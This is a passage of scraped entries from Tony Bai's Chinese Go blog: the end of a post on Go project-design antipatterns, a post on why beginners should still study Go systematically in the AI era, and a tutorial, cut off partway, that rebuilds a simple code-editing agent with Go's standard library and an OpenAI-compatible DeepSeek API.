引入依赖的成本（耦合、潜在冲突、维护负担）是否真的低于复制代码的成本？\n优先考虑简单： 在不确定时，保持简单，适度复制代码通常更安全。\n注：这种事儿，恐怕咱们自己或者团队里都遇到过不少：就为了用里面那一两个小函数，咔嚓一下，引入了一个庞大无比的依赖库。\n第六宗罪：盲目崇拜与跟风——“伪标准”与“最佳实践”的陷阱 表现：\n不加批判地复制某个“明星项目”或所谓的“Go 标准项目布局”（如已被社区诟病的golang-standards/project-layout）。\n将其他语言（如 Java, C#）的复杂模式生搬硬套到 Go 项目中。\n将任何 Linter 规则或所谓的“最佳实践”奉为圭臬，不考虑具体场景。\n危害：\n脱离实际： 别人的“最佳实践”是基于他们的特定问题和上下文演化而来的，未必适合你的项目。\n扼杀思考： 放弃了基于自己项目需求进行独立思考和决策的机会。\n违背Go文化： Go 推崇实用主义和具体问题具体分析，而非僵化的教条。\n解药：\n保持独立思考： 理解每个模式或实践要解决的原始问题是什么，它是否在你的项目中真实存在？\n以我为主，兼收并蓄： 学习和借鉴，但最终决策要基于你自己的项目需求、团队情况和对 Go 语言的理解。\n质疑“最佳”： 没有万能的“最佳实践”，只有在特定上下文中的“较好实践”。\n注：确实，很多Go初学者（甚至一些老手，包括我自己）都曾长期困惑甚至“抱怨”：官方为何不给出一个项目布局的指导呢？这个呼声持续多年后，Go官方终于在2023年发布了一份官方布局指南。这份指南无疑是我们理解官方思路、开始设计Go项目布局的一个重要起点。\n第七宗罪：与“引力”对抗——忽视 Go 的依赖约束 表现：\n设计出隐含循环依赖的架构（例如，某些复杂的 ORM 模式，或者 Service 层与 Repository 层相互调用具体类型）。\n当遇到 import cycle not allowed 错误时，不从根本上调整结构，而是通过滥用接口、全局变量或 init() 函数等“技巧”来绕过编译错误。\n危害：\n与语言对抗： Go禁止循环依赖是其核心设计之一，旨在强制形成清晰的、可管理的依赖关系图 (DAG)。试图绕过它，本质上是在与语言的设计哲学对抗。\n隐藏的复杂性： 用“技巧”解决循环依赖，只是将问题扫到地毯下，使得真实的依赖关系变得模糊不清，增加了维护难度。\n错失优化机会： 循环依赖往往是代码职责不清、耦合过度的信号。解决循环依赖的过程，本身就是一次优化架构、厘清职责的好机会。\n解药：\n拥抱 DAG： 理解并尊重 Go 的依赖规则，将其视为架构设计的“向导”。\n分析依赖： 当出现循环依赖时，深入分析其根源，理解是哪个环节的职责划分或耦合出了问题。\n结构性解决： 优先使用移动代码、提取新包（向上或向下）等结构性方法来打破循环。接口解耦是可用手段，但不应是首选或唯一手段。\n小结：回归常识，拥抱简洁 Go语言的设计哲学是务实和简洁。许多所谓的“最佳实践”和“复杂模式”，在Go的世界里可能水土不服。识别并避免上述这些“反模式”，需要我们：\n保持批判性思维： 不盲从，不跟风，时刻追问“为什么”。 坚持价值驱动： 让每一个设计决策都服务于解决真实问题。 深刻理解Go： 尊重其核心约束（如无循环依赖），发挥其优势（如简洁性）。 拥抱演化： 从简单开始，让架构随着需求的明确而有机生长。 希望这篇“七宗罪”的总结能给大家带来一些警示和启发。你是否也曾在项目中遇到过这些“反模式”？你认为还有哪些Go设计中需要警惕的“坑”？欢迎在评论区分享你的看法和经验！\n也别忘了点个【赞】和【在看】，让更多Gopher看到这篇“反模式”的总结！\n避开这些设计“反模式”是迈向Go高手的关键一步。如果你渴望更深层次地理解Go语言精髓，与顶尖Gopher交流切磋，并紧跟Go+AI前沿动态…\n那么，我的 「Go \u0026amp; AI 精进营」知识星球 正是你需要的！在这里，你可以沉浸式学习【Go原理/进阶/避坑】等独家深度专栏，随时向我提问获\n得解析，并与高活跃社区成员碰撞思想火花。\n扫码加入，开启你的Go深度学习与精进之旅！\n","permalink":"https://tonybai.com/2025/04/21/go-project-design-antipatterns/","summary":"\u003cp\u003eGo项目设计的“七宗罪”？警惕那些流行的“反模式” - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go项目设计的“七宗罪”？警惕那些流行的“反模式”"},{"content":"AI会写Go代码了，初学者还需要系统学习吗？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nAI会写Go代码了，初学者还需要系统学习吗？ 四月 19, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/04/19/learn-go-in-ai-era\n大家好！我是Tony Bai。\n近来，AI领域的技术迭代速度惊人，尤其在代码生成能力上的显著提升，已有目共睹。现在，AI不仅能辅助编写Go代码片段，还能应对一些更复杂的逻辑结构，甚至还能完成一个完整工程的全部代码，这在开发者社区无疑引发了热烈讨论和对未来的思考。对于初学者来说，一个现实的问题摆在面前：我们还需要老老实实、一步一个脚印地去系统学习吗？比如像《Go语言第一课》专栏这样的系统课程还有必要去学吗？\n这个问题确实值得我们认真思考。AI的便捷是显而易见的，但它能帮助我们构建起真正的专业能力吗？\n如今，一个普遍的认知是，AI更像是一个能力的放大器，它能够增强你已有的知识和技能，但却很难从零开始为你构建坚实的基础。依赖于碎片化的AI交互，我们或许能快速“上手”，但要真正“掌握”某个领域，成为一名专业人士，可能还有很长的路要走。\n那么，在AI时代，系统学习能为渴望成长的你，尤其是初学者，提供哪些不可替代的价值呢？ 我觉得至少有如下几点：\n为你构建坚实的知识体系，告别“东拼西凑” AI能帮你生成代码片段，但这就像给你一堆散落的乐高积木。系统学习则教你如何将它们搭建成一个完整的城堡。\n初学一门语言，最怕的就是知识点零散、不成体系。以Go学习为例，系统课程精心编排了学习路径，覆盖了环境搭建、基础语法、核心特性(接口、并发等)到简单实践。\n它就像一张清晰的地图，引导你系统性地认识Go的世界，为你提供**“一站式”的基础构建服务**，避免在碎片信息中迷失方向，让起步更高效、更稳固。\n助你拓展认知边界，进入学习“拉伸区” 还是以Go学习为例，系统的课程学习不仅仅是知道“怎么做”，也会适时地告诉你一些“为什么”。比如了解Go的设计哲学（简洁、显式、组合、面向并发等），理解某些特性（如接口设计）背后的考量。\n这并非要求初学者一开始就深究底层，而是像《认知觉醒》一书里说的，帮助你适度地拓展“舒适区”，进入能获得更快提升的“拉伸区”。\n理解了这些，你会发现自己应用起来更灵活，学习新知识也更快，整体学习效率自然更高。这是一种更高效的学习方式。\n奠定“专业”基石，让你真正驾驭AI AI能写出代码，但判断代码的好坏、进行复杂调试、做出架构决策，这些都需要你具备扎实的专业基础。\n系统学习正是帮你奠定这个基础，让你未来能有效地指导和评估AI写出的代码，而不是仅仅停留在简单地复制粘贴，甚至让AI生成一堆你自己都看不懂、无法评估好坏的代码，这样的代码一旦上生产可能带来潜在的风险和隐患。\n只有足够专业，你才能有效地向AI提问，辨别AI答案的优劣，最终驾驭AI，让它成为你专业能力的延伸，而非被其能力所取代。碎片化的学习，是无法构建起这种专业壁垒的。而系统的课程学习，正是你迈向专业之路的第一块、也是至关重要的基石。\n提供可靠、经过验证的学习起点 网络信息真假难辨，AI的回答也可能存在谬误。对于初学者来说，一开始接触到准确、可靠的信息至关重要。\n一门好的课程，其内容是经过作者和编辑团队反复打磨、验证和审校的，源自大量实践和教学经验，确保了其准确性和权威性。它为你提供了一个可以信赖的学习起点和参照系，这本身就是一种重要的学习服务。\n所以，回到最初的问题：AI会写Go代码了，初学者还需要系统学习吗？\n我的答案是：如果你不满足于“能用”，而是渴望真正“掌握”Go，渴望成为一名具备深度思考和解决复杂问题能力的Gopher，那么，系统学习依然是必经之路。\n而**《Go语言第一课》**，这门我在极客时间打磨许久的专栏，正是基于上述理念设计的。它专注于为你铺设一条清晰、可靠、高效的Go入门之路，帮助你从“知道”走向“理解”，为未来成长为一名专业的Gopher奠定基础。\n如果你正准备开始学习Go，或者希望巩固基础、构建体系，可以扫描下方二维码，订阅《Go语言第一课》专栏，为你的Go专业之路，打下第一个坚实桩基！，你也可以与其他订阅和学习该专栏的数万Gopher一起交流学习心得，共享学习成果。\n最后补充一点信息： 为了让课程能更好地服务大家，最近我和极客时间的编辑老师一起，为《Go语言第一课》做了一次重要的课程迭代，增加了6篇“加餐”内容，涉及测试、性能、I/O、语言新特性等，希望能为你的学习之路提供一些额外的助力。当然，课程的核心价值，始终在于主体内容所构建的那个系统化的入门基础。\n现在，轮到你了：作为Go学习者（特别是初学者），你如何看待AI对学习的影响？你认为系统学习最大的价值是什么？欢迎在评论区分享你的想法**，我们一起探讨！如果觉得这篇文章说到了你的心坎里，请点个“在看”支持一下吧！\n愿我们都能拥抱AI，但不忘构建自身的专业核心！\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格6$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/04/19/learn-go-in-ai-era/","summary":"\u003cp\u003eAI会写Go代码了，初学者还需要系统学习吗？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"AI会写Go代码了，初学者还需要系统学习吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/04/18/reproduce-thorsten-balls-code-agent\n大家好，我是Tony Bai。\n人工智能Agent风头正劲，但构建它们真的那么难吗？本文深入解读Thorsten Ball 的“皇帝新衣”论，并通过一个 Go 标准库 + OpenAI Compatible API + DeepSeek的实战复现，揭示代码编辑 Agent 的核心简洁性，探讨真正的挑战与机遇。\n引言：AI Agent 的神秘光环与现实 近来，AI Agent（人工智能代理）无疑是技术圈最炙手可热的话题之一。从能自主编码的软件工程师，到能规划执行复杂任务的智能助手，Agent 展现出的潜力令人兴奋。但与此同时，它们往往被一层神秘的光环笼罩，许多人觉得构建一个真正能工作的 Agent，尤其是能与代码交互、编辑文件的 Agent，必然涉及极其复杂的技术和深不可测的“炼金术”。\n事实果真如此吗？Agent 的核心真的那么难以企及吗？\n戳破泡沫：Thorsten Ball 的“皇帝新衣”论 著名开发者、“Writing A Compiler In Go”和“Writing An Interpreter In Go”两本高质量大作的作者Thorsten Ball最近发表了一篇振聋发聩的文章——《How To Build An Agent》（如何构建一个Agent），副标题更是直言不讳：“The Emperor Has No Clothes”（皇帝没有穿衣服）。\nThorsten 的核心观点非常清晰：构建一个功能齐全、能够编辑代码的 Agent，其核心原理并不神秘，甚至可以说没有所谓的“护城河”。他认为，那些看似神奇的 Agent（自动编辑文件、运行命令、从错误中恢复、尝试不同策略）背后并没有什么惊天秘密。\n其核心不过是：一个强大的大语言模型 (LLM) + 一个循环 (Loop) + 足够的上下文额度 (Tokens) + 工具调用 (Tools)。\n而那些让Agent产品（如Cursor等）令人印象深刻、甚至上瘾的特性，更多来自于务实的工程实践和大量的**“体力活” (Elbow Grease)**——UI 设计、编辑器集成、错误处理、提示词工程、工具链优化等等。\n为了证明核心逻辑的简单性，Thorsten 在文章中手把手地用不到 400 行 Go 代码，基于Anthropic Claude模型和其Go SDK，实现了一个具备基本代码编辑能力的Agent Demo。这个Demo 包含了三个关键的工具：\nread_file: 读取文件内容。 list_files: 列出目录内容。 edit_file: 编辑文件内容——令人惊讶的是，这个核心的编辑功能，其实现方式极其基础，仅仅是基于字符串替换！ 就是这样一个看似“简陋”的Agent，却能在实验中成功完成创建JavaScript文件、修改代码逻辑、解码字符串等任务，展现了自主规划和调用工具的能力。\n不止于理论：我们用标准库 + OpenAI Compatible API + DeepSeek复现并验证！ Thorsten 的文章和示例极具启发性。但为了进一步验证其观点的普适性(其实主要是我没有Claude的API key)——即这种 Agent 的核心逻辑是否独立于特定的 LLM 提供商或 SDK——我们进行了一项挑战：\n在不使用任何第三方 LLM SDK 的情况下，仅依靠Go标准库 (net/http, encoding/json 等)，将 Thorsten 的示例移植到使用通用的 OpenAI Compatible API(主要是Chat Completions API)。\n这意味着我们需要：\n手动构建 HTTP 请求。 处理 API 认证 (Bearer Token)。 定义匹配 OpenAI API 格式的 Go 结构体。 处理 JSON 的序列化与反序列化。 实现 OpenAI 的工具调用 (Tool Calling) 规范，包括函数定义、参数传递和结果返回。 经过一番努力，我们成功了！这个纯标准库版本的 Go Agent 不仅编译通过，而且完美地复现了 Thorsten 文章中的所有实验，无论是文件读写、列表，还是代码创建与修改，其行为和效果与原版几乎一致。\n这有力地证明了：代码 Agent 的核心交互范式（请求 -\u0026gt; LLM 思考/工具调用 -\u0026gt; 执行工具 -\u0026gt; 返回结果 -\u0026gt; LLM 再思考…）确实是通用的，不依赖于特定的 SDK 或 API 提供商。 掌握了底层的 HTTP 通信和 API 协议规范，用任何语言、任何网络库都可以构建类似的核心。\n亲手体验：一步步复现你的代码编辑Agent 理论和别人的成功固然鼓舞人心，但亲手实践才能带来最真切的感受。“纸上得来终觉浅，绝知此事要躬行”。下面，我们将结合关键代码片段，指导你一步步复现这个使用 Go 标准库和 OpenAI Compatible API 构建的代码编辑 Agent 实验。\n(注意：你需要准备一个 OpenAI API Key 或其他兼容 OpenAI API 的服务商提供的 Key 和 Endpoint，我这里使用的是兼容OpenAI API的DeepSeek的deepseek-chat大模型。此外，这里展示的是关键代码片段，完整代码请参考code-editing-agent-deepseek)\n准备工作:\n环境配置: 确保安装 Go 环境。设置环境变量 OPENAI_API_KEY，以及可选的 OPENAI_API_BASE (兼容 API 地址) 和 OPENAI_MODEL (模型名称，如 gpt-4o, gpt-3.5-turbo, 或其他兼容模型，比如deepseek-chat等)。 获取并运行代码: 将完整的 main.go 代码保存到 code-editing-agent 目录，执行 go mod tidy 下载依赖。 设置环境变量(见下面)，然后运行 go run main.go 启动 Agent。你应该看到程序启动并等待你的输入。 $export OPENAI_API_KEY=\u0026lt;your_deepseek_api_key\u0026gt; $export OPENAI_API_BASE=https://api.deepseek.com $export OPENAI_MODEL=deepseek-chat 实验 0：基础对话 (验证连接) 目标: 验证 Agent 与 LLM API 的基本连接和对话流程是否正常，此时不涉及工具调用。 关键代码 (简化流程): Agent 的核心 Run 方法会接收用户输入，将其添加到 conversation 历史中，然后调用 callOpenAICompletion，最后处理并打印 AI 的文本回复。 // Simplified flow within Agent.Run for basic chat func (a *Agent) Run(ctx context.Context) error { // ... setup ... conversation := []OpenAIChatCompletionMessage{ /* system prompt */ } for { // Outer loop for user input // ... get userInput from console ... conversation = append(conversation, OpenAIChatCompletionMessage{Role: \u0026#34;user\u0026#34;, Content: userInput}) // --- Call API --- resp, err := a.callOpenAICompletion(ctx, conversation) if err != nil { fmt.Printf(\u0026#34;\\u001b[91mAPI Error\\u001b[0m: %s\\n\u0026#34;, err.Error()) continue // Let user try again } if len(resp.Choices) == 0 { /* handle no choices */ continue } assistantMessage := resp.Choices[0].Message conversation = append(conversation, assistantMessage) // Add response to history // --- Print Text Response --- if assistantMessage.Content != \u0026#34;\u0026#34; { fmt.Printf(\u0026#34;\\u001b[93mAI\\u001b[0m: %s\\n\u0026#34;, assistantMessage.Content) } // --- Tool Handling Logic would go here, but skipped for basic chat --- // In a basic chat without tool calls, the inner loop (if any) breaks immediately. } // End of outer loop return nil } 解释: 这一步主要测试 callOpenAICompletion 函数能否成功打包对话历史、发送 HTTP 请求到 API 端点、接收有效的文本响应，并由 Run 方法将其打印出来。\n步骤:\n在 You: 提示符后输入： You: Hey! I\u0026rsquo;m Tony! How are you?\n2. 观察 AI 是否能正常回复，确认 API 连接。 Agent输出: $./agent Chat with AI (use \u0026#39;ctrl-c\u0026#39; to quit) You: Hey! I\u0026#39;m Tony! How are you? AI: Hi Tony! I\u0026#39;m just a program, so I don\u0026#39;t have feelings, but I\u0026#39;m here and ready to help you with anything you need. How can I assist you today? 实验 1 \u0026amp; 2：read_file 工具 (读取文件) 目标: 测试 Agent 调用 read_file 工具读取指定文件内容的能力。 关键代码: 工具定义 (ReadFileDefinition): 告诉AI 有一个名为 read_file 的工具，它需要一个path参数，并描述了其功能。\ntype ReadFileInput struct { // Defines the input structure for the tool Path string json:\u0026#34;path\u0026#34; jsonschema_description:\u0026#34;The relative path...\u0026#34; jsonschema:\u0026#34;required\u0026#34; } var ReadFileDefinition = ToolDefinition{ Name: \u0026#34;read_file\u0026#34;, Description: \u0026#34;Read the contents of a given relative file path...\u0026#34;, InputSchema: GenerateSchema[ReadFileInput](), // Generates {\u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, \u0026#34;properties\u0026#34;: {\u0026#34;path\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;, ...}}, \u0026#34;required\u0026#34;: [\u0026#34;path\u0026#34;]} Function: ReadFile, // Links to the Go function below } 工具执行函数 (ReadFile): 这个 Go 函数接收 AI 提供的参数（文件路径），并使用标准库 os.ReadFile 实际执行文件读取。\nfunc ReadFile(input json.RawMessage) (string, error) { readFileInput := ReadFileInput{} err := json.Unmarshal(input, \u0026amp;readFileInput) // Parse the JSON arguments from AI if err != nil || readFileInput.Path == \u0026#34;\u0026#34; { /* handle parse error or missing path */ } content, err := os.ReadFile(readFileInput.Path) // Use Go standard library to read file if err != nil { /* handle file read error */ } return string(content), nil // Return file content as a string } 解释: 当用户请求涉及文件内容时，AI 会根据 ReadFileDefinition 的描述，决定调用 read_file 工具，并提供 path 参数。Agent 的 Run 循环捕获到这个工具调用请求，找到对应的 ReadFile 函数，传入参数并执行。函数读取文件后返回内容字符串，这个字符串会被包装成 role: tool 的消息发送回给 AI，AI 再根据文件内容生成最终答复。 步骤 (实验 1 – secret-file.txt): 准备: 创建 secret-file.txt 文件，内容为“what animal is the most disagreeable because it always says neigh?” 输入: buddy, help me solve the riddle in the secret-file.txt file 观察: AI 回复 -\u0026gt; Tool Call: read_file({“path”:”secret-file.txt”}) -\u0026gt; AI 给出谜底。 Agent输出: You: buddy, help me solve the riddle in the secret-file.txt file Tool Call: list_files({}) Tool Call: read_file({\u0026#34;path\u0026#34;:\u0026#34;secret-file.txt\u0026#34;}) AI: The answer to the riddle is a **horse**, because it always says \u0026#34;neigh\u0026#34; (which sounds like \u0026#34;nay,\u0026#34; meaning disagreement). Let me know if you need help with anything else, Tony! 步骤 (实验 2 – 读取main.go): 输入: What’s going on in main.go? Be brief! 观察: AI 回复 -\u0026gt; Tool Call: read_file({“path”:”main.go”}) -\u0026gt; AI 给出代码摘要。 模型输出: You: What\u0026#39;s going on in main.go? Be brief! Tool Call: read_file({\u0026#34;path\u0026#34;:\u0026#34;main.go\u0026#34;}) AI: The `main.go` file is a Go program that sets up an **AI agent** capable of interacting with the local filesystem (reading, listing, and editing files). Here\u0026#39;s a brief breakdown: 1. **Purpose**: - The agent acts as a helper, responding to user requests by either providing text answers or using tools to interact with files. 2. **Key Features**: - **Tools**: It has three built-in tools: - `read_file`: Reads file contents. - `list_files`: Lists files/directories. - `edit_file`: Edits or creates files. - **OpenAI Integration**: Uses the OpenAI API (like GPT-4) to process user input and decide when to use tools. - **Interactive CLI**: Takes user input from the command line and displays responses. 3. **Workflow**: - The agent maintains a conversation history with the user. - If a tool is needed, it calls the OpenAI API, executes the tool, and updates the conversation. 4. **Dependencies**: - Requires an `OPENAI_API_KEY` environment variable to work with the OpenAI API. In short, it\u0026#39;s a **file-system assistant powered by OpenAI**, designed to help with file operations via natural language commands. Let me know if you\u0026#39;d like more details! 实验 3：list_files 工具 目标: 测试 list_files 工具，让 AI 感知当前工作目录的文件结构。 关键代码: 工具定义 (ListFilesDefinition): 定义 list_files 工具，路径参数可选。\ntype ListFilesInput struct { // Input structure, path is optional Path string json:\u0026#34;path,omitempty\u0026#34; jsonschema_description:\u0026#34;Optional relative path...\u0026#34; } var ListFilesDefinition = ToolDefinition{ Name: \u0026#34;list_files\u0026#34;, Description: \u0026#34;List files and directories at a given path. If no path...\u0026#34;, InputSchema: GenerateSchema[ListFilesInput](), Function: ListFiles, // Links to the Go function below } 工具执行函数 (ListFiles): 使用 filepath.WalkDir 遍历目录，并将结果格式化为 JSON 数组字符串。\nfunc ListFiles(input json.RawMessage) (string, error) { // ... Parse optional path from input ... dir := \u0026#34;.\u0026#34; // Default to current directory if listFilesInput.Path != \u0026#34;\u0026#34; { dir = listFilesInput.Path } var files []string err := filepath.WalkDir(dir, func(...) error { // Use standard library WalkDir // ... build relative path ... // ... append path to files slice (add \u0026#34;/\u0026#34; for directories) ... return nil }) if err != nil { /* handle walk error */ } result, err := json.Marshal(files) // Return as JSON array string if err != nil { /* handle marshal error */ } return string(result), nil } 解释: AI 被问及目录内容时，会调用 list_files 工具（通常不带参数，使用默认当前目录）。Go 代码执行 ListFiles 函数，遍历目录，将文件和目录名（目录带 /）的列表打包成 JSON 字符串返回给 AI。AI 再将这个列表呈现给用户。 步骤: 输入: what do you see in this directory? 观察: AI 回复 -\u0026gt; Tool Call: list_files({}) -\u0026gt; AI 列出当前目录文件。 Agent输出： You: what do you see in this directory? Tool Call: list_files({}) AI: Here’s what’s in the current directory: 1. **Files**: - `.main.go.swp` (likely a temporary swap file for `main.go`). - `go.mod` and `go.sum` (Go module files for dependency management). - `main.go` (the main Go program file). - `secret-file.txt` (the file with the riddle you solved earlier). 2. **Directory**: - `agent/` (a subdirectory, possibly containing agent-related code or resources). Let me know if you\u0026#39;d like to explore any of these further! 实验 4 \u0026amp; 5：组合工具 (list_files + read_file) 目标: 观察 Agent 如何自主地组合使用多个工具（先 list_files 发现文件，再 read_file 读取特定文件）来完成更复杂的任务。 关键代码 (Agent 的 Run 方法中的内部循环): 这是实现多步工具调用的核心。 // Inside Agent.Run method for { // Outer loop for user input // ... get user input, add to conversation ... for { // \u0026lt;--- INNER LOOP: Handles multi-turn tool calls --- resp, err := a.callOpenAICompletion(ctx, conversation) // Call API // ... handle response ... assistantMessage := resp.Choices[0].Message conversation = append(conversation, assistantMessage) // Add assistant\u0026#39;s response // Check for tool calls in the response if len(assistantMessage.ToolCalls) == 0 { // No tools called by AI in this turn. Print text response (if any) // and break the INNER loop to wait for next user input. if assistantMessage.Content != \u0026#34;\u0026#34; { /* print content */ } break // Exit INNER loop } // --- AI requested tools, execute them --- toolResults := []OpenAIChatCompletionMessage{} for _, toolCall := range assistantMessage.ToolCalls { // ... find tool definition by toolCall.Function.Name ... // ... execute the tool\u0026#39;s Go function with toolCall.Function.Arguments ... // ... prepare resultMsg (role: \u0026#34;tool\u0026#34;, content: output/error) ... toolResults = append(toolResults, resultMsg) } conversation = append(conversation, toolResults...) // Add tool results to history // DO NOT BREAK! Continue the INNER loop immediately. // The conversation now includes the tool results, // so the next call to callOpenAICompletion will send them back to the AI. } // \u0026lt;--- End of INNER LOOP --- } // End of OUTER loop 解释: 关键在于内部循环 (INNER LOOP)。当 AI 的回复包含 ToolCalls 时，Agent 会：\n执行所有请求的工具。 将每个工具的执行结果（成功输出或错误信息）构造成 role: “tool” 的消息。 将这些 tool 消息添加到对话历史 conversation 中。 不退出内部循环，而是立即用更新后的 conversation（现在包含了工具结果）再次调用 callOpenAICompletion。 这样，AI 就能在其下一步的思考中“看到”刚刚执行的工具结果，并据此决定是继续调用工具、生成最终答案，还是进行其他操作。这个循环会持续到 AI 的某次响应不再包含 ToolCalls 为止。\n步骤 (实验 4 – Go 文件信息):\n输入: Tell me about all the Go files in here. Be brief! 观察: list_files -\u0026gt; AI 回复 -\u0026gt; read_file (main.go) -\u0026gt; AI 回复 -\u0026gt; read_file (go.mod) -\u0026gt; AI 回复 -\u0026gt; AI 最终汇总。 Agent输出： You: Tell me about all the Go files in here. Be brief! AI: Here’s a quick rundown of the Go files in the directory: 1. **`main.go`**: - The core program file. It sets up an **AI agent** that interacts with the local filesystem using tools (`read_file`, `list_files`, `edit_file`). - Integrates with the **OpenAI API** for natural language processing. - Handles user input via the command line. 2. **`go.mod` \u0026amp; `go.sum`**: - **`go.mod`**: Defines the Go module (project) and its dependencies (e.g., `github.com/invopop/jsonschema` for JSON schema generation). - **`go.sum`**: Locks dependency versions for reproducibility. That’s it! The other files (like `.main.go.swp`) are temporary or non-Go files. Let me know if you want details on any specific part! 注意：这里DeepSeek模型并没有再调用read_file！与预期不相符，也许和模型的实现有关。比如模型缓存了这些文件的内容。\n步骤 (实验 5 – Go 版本): 输入: What go version are we using in this project? 观察: list_files -\u0026gt; AI 回复 -\u0026gt; read_file (go.mod) -\u0026gt; AI 回复 -\u0026gt; AI 最终回答 Go 版本。 Agent输出： You: What go version are we using in this project? Tool Call: read_file({\u0026#34;path\u0026#34;:\u0026#34;go.mod\u0026#34;}) AI: The project is using **Go version 1.24.0**, as specified in the `go.mod` file. Let me know if you\u0026#39;d like help with anything else! 实验 6, 7, \u0026amp; 8：edit_file 工具 (创建、编辑文件) 目标: 测试核心的 edit_file 工具，包括文件创建（当 old_str 为空且文件不存在时）和内容修改。 关键代码: 工具定义 (EditFileDefinition): 定义 edit_file 工具，包含 path, old_str, new_str 三个参数。\ntype EditFileInput struct { Path string json:\u0026#34;path\u0026#34; jsonschema_description:\u0026#34;The path...\u0026#34; jsonschema:\u0026#34;required\u0026#34; OldStr string json:\u0026#34;old_str\u0026#34; jsonschema_description:\u0026#34;Text to search for...\u0026#34; NewStr string json:\u0026#34;new_str\u0026#34; jsonschema_description:\u0026#34;Text to replace with...\u0026#34; jsonschema:\u0026#34;required\u0026#34; } var EditFileDefinition = ToolDefinition{ Name: \u0026#34;edit_file\u0026#34;, Description: \u0026#34;Make edits to a text file. Replaces ALL occurrences...\u0026#34;, InputSchema: GenerateSchema[EditFileInput](), Function: EditFile, // Links to the Go function below } 工具执行函数 (EditFile 及助手 createNewFile): 处理文件创建和修改逻辑。\nfunc EditFile(input json.RawMessage) (string, error) { editFileInput := EditFileInput{} // ... parse input path, old_str, new_str ... content, err := os.ReadFile(editFileInput.Path) if err != nil { // Key logic: If file doesn\u0026#39;t exist AND old_str is empty, try creating it. if os.IsNotExist(err) \u0026amp;\u0026amp; editFileInput.OldStr == \u0026#34;\u0026#34; { return createNewFile(editFileInput.Path, editFileInput.NewStr) } return \u0026#34;\u0026#34;, err // Other read error } // File exists, perform replacement oldContent := string(content) newContent := strings.Replace(oldContent, editFileInput.OldStr, editFileInput.NewStr, -1) // Replace all // ... check if replacement happened ... err = os.WriteFile(editFileInput.Path, []byte(newContent), 0644) // Write back // ... handle write error ... return \u0026#34;OK\u0026#34;, nil } // Helper to create a new file (and parent directories if needed) func createNewFile(filePath, content string) (string, error) { dir := path.Dir(filePath) if dir != \u0026#34;.\u0026#34; \u0026amp;\u0026amp; dir != \u0026#34;\u0026#34; { // Ensure parent directories exist if err := os.MkdirAll(dir, 0755); err != nil { /* handle error */ } } err := os.WriteFile(filePath, []byte(content), 0644) // Write the new file // ... handle error ... return fmt.Sprintf(\u0026#34;Successfully created file %s\u0026#34;, filePath), nil } 解释: edit_file 是最强大的工具。AI 根据用户的意图（创建或修改）来调用它，并提供必要的参数。Go 代码的核心逻辑在于：\n如果 os.ReadFile 